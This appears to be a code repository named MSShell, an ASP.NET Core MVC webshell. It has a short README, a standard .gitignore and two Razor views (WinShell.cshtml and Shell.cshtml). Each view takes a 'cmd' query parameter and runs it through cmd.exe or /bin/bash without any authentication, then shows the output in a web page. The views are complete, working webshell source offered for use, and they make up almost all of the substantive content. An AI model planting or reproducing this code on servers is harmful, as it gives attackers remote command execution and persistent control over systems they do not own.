├── README.md ├── .gitignore ├── WinShell.cshtml └── Shell.cshtml /README.md: -------------------------------------------------------------------------------- 1 | # MSShell 2 | A .Net Core MVC webshell 3 | 4 | For more information go [here](https://codedharma.com/posts/dotnet-core-webshell/) 5 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Ignore Visual Studio temporary files, build results, and 3 | # files generated by popular Visual Studio add-ons. 4 | 5 | # User-specific files 6 | *.suo 7 | *.user 8 | *.sln.docstates 9 | 10 | # Build results 11 | 12 | [Dd]ebug/ 13 | [Rr]elease/ 14 | x64/ 15 | build/ 16 | [Bb]in/ 17 | [Oo]bj/ 18 | 19 | # Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets 20 | !packages/*/build/ 21 | 22 | # Enable Views.Packages 23 | !Views/Packages/* 24 | !**/Views/Packages/* 25 | 26 | # MSTest test Results 27 | [Tt]est[Rr]esult*/ 28 | [Bb]uild[Ll]og.* 29 | 30 | *_i.c 31 | *_p.c 32 | *.ilk 33 | *.meta 34 | *.obj 35 | *.pch 36 | *.pdb 37 | *.pgc 38 | *.pgd 39 | *.rsp 40 | *.sbr 41 | *.tlb 42 | *.tli 43 | *.tlh 44 | *.tmp 45 | *.tmp_proj 46 | *.log 47 | *.vspscc 48 | *.vssscc 49 | .builds 50 | *.pidb 51 | *.log 52 | *.scc 53 | 54 | # Visual C++ cache files 55 | ipch/ 56 | *.aps 57 | *.ncb 58 | *.opensdf 59 | *.sdf 60 | *.cachefile 61 | 62 | # Visual Studio profiler 63 | *.psess 64 | *.vsp 65 | *.vspx 66 | 67 | # Guidance Automation Toolkit 68 | *.gpState 69 | 70 | # ReSharper is a .NET coding add-in 71 | _ReSharper*/ 72 | *.[Rr]e[Ss]harper 73 | 74 | # TeamCity is a build add-in 75 | _TeamCity* 76 | 77 | # DotCover is a Code Coverage Tool 78 | *.dotCover 79 | 80 | # NCrunch 81 | *.ncrunch* 82 | .*crunch*.local.xml 83 | 84 | # Installshield output folder 85 | [Ee]xpress/ 86 | 87 | # DocProject is a documentation generator add-in 88 | DocProject/buildhelp/ 89 | DocProject/Help/*.HxT 90 | DocProject/Help/*.HxC 91 | DocProject/Help/*.hhc 92 | DocProject/Help/*.hhk 93 | DocProject/Help/*.hhp 94 | DocProject/Help/Html2 95 | DocProject/Help/html 96 | 97 | # Click-Once directory 98 | publish/ 99 | 100 | # Publish Web Output 101 | *.Publish.xml 102 | 103 | # NuGet Packages Directory 104 | # Ignore package folder 105 | **/packages/* 106 | 107 | # Ignore nuget packages 108 | *.nupkg 109 | 110 | # Build is used as an MSBuild target, so excepting it 111 | !**/packages/build 112 | 113 | # Uncomment if needed 114 | !**/packages/repositories.config 115 | 116 | 117 | # Windows Azure Build Output 118 | csx 119 | *.build.csdef 120 | 121 | # Windows Store app package directory 122 | AppPackages/ 123 | 124 | # Others 125 | sql/ 126 | *.Cache 127 | ClientBin/ 128 | [Ss]tyle[Cc]op.* 129 | ~$* 130 | *~ 131 | *.dbmdl 132 | *.[Pp]ublish.xml 133 | *.pfx 134 | *.publishsettings 135 | 136 | # RIA/Silverlight projects 137 | Generated_Code/ 138 | 139 | # Backup & report files from converting an old project file to a newer 140 | # Visual Studio version. Backup files are not needed, because we have git ;-) 141 | _UpgradeReport_Files/ 142 | Backup*/ 143 | UpgradeLog*.XML 144 | UpgradeLog*.htm 145 | 146 | # SQL Server files 147 | App_Data/*.mdf 148 | App_Data/*.ldf 149 | 150 | 151 | #LightSwitch generated files 152 | GeneratedArtifacts/ 153 | _Pvt_Extensions/ 154 | ModelManifest.xml 155 | # 156 | # ========================= 157 | # Windows detritus 158 | # ========================= 159 | # 160 | # Windows image file caches 161 | Thumbs.db 162 | ehthumbs.db 163 | # 164 | ## Folder config file 165 | Desktop.ini 166 | 167 | ## Recycle Bin used on file shares 168 | $RECYCLE.BIN/ 169 | # 170 | ## Mac desktop service store files 171 | .DS_Store 172 | *.DS_Store 173 | 174 | 175 | VS 2015 cache 176 | .vs/ 177 | 178 | node_modules/ 179 | 180 | -------------------------------------------------------------------------------- /WinShell.cshtml: -------------------------------------------------------------------------------- 1 | @using System 2 | @using System.Diagnostics 3 | 4 | @{ 5 | ViewData["Title"] = "MVC Sh3ll Windows"; 6 | var result = ""; 7 | var cmd = Context.Request.Query["cmd"]; 8 | if (!String.IsNullOrEmpty(cmd)){ 9 | result = Bash(cmd); 10 | } 11 | 12 | if (String.IsNullOrEmpty(result)){ 13 | result = "Invalid command or something didn't work"; 14 | } 15 | 16 | } 17 | 18 | @functions{ 19 | public static string Bash (string cmd) 20 | { 21 | var result = ""; 22 | var escapedArgs = cmd.Replace("\"", "\\\""); 23 | var process = new Process() 24 | { 25 | StartInfo = new ProcessStartInfo 26 | { 27 | FileName = "cmd.exe", 28 | Arguments = $"/C \"{escapedArgs}\"", 29 | RedirectStandardOutput = true, 30 | UseShellExecute = false, 31 | CreateNoWindow = true, 32 | } 33 | }; 34 | 35 | process.Start(); 36 | result = process.StandardOutput.ReadToEnd(); 37 | process.WaitForExit(); 38 | 39 | return result; 40 | } 41 | } 42 | 43 | 44 | 45 | 49 | 117 | 118 | 119 |
125 | C#:>@cmd
126 |
127 | @result
128 |
129 | C#:>
130 |
131 |
132 | Enter your command below:
135 | 136 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /Shell.cshtml: -------------------------------------------------------------------------------- 1 | @using System 2 | @using System.Diagnostics 3 | 4 | @{ 5 | ViewData["Title"] = "MVC Sh3ll"; 6 | var result = ""; 7 | var cmd = Context.Request.Query["cmd"]; 8 | if (!String.IsNullOrEmpty(cmd)){ 9 | result = Bash(cmd); 10 | } 11 | 12 | if (String.IsNullOrEmpty(result)){ 13 | result = "Invalid command or something didn't work"; 14 | } 15 | 16 | } 17 | 18 | @functions{ 19 | public static string Bash (string cmd) 20 | { 21 | var result = ""; 22 | var escapedArgs = cmd.Replace("\"", "\\\""); 23 | var process = new Process() 24 | { 25 | StartInfo = new ProcessStartInfo 26 | { 27 | FileName = "/bin/bash", 28 | Arguments = $"-c \"{escapedArgs}\"", 29 | RedirectStandardOutput = true, 30 | UseShellExecute = false, 31 | CreateNoWindow = true, 32 | } 33 | }; 34 | 35 | process.Start(); 36 | result = process.StandardOutput.ReadToEnd(); 37 | process.WaitForExit(); 38 | 39 | return result; 40 | } 41 | } 42 | 43 | 47 | 115 | 116 | 117 |
123 | C#:>@cmd
124 |
125 | @result
126 |
127 | C#:>
128 |
129 |
130 | Enter your command below:
133 | 134 | 135 | 136 | 137 | --------------------------------------------------------------------------------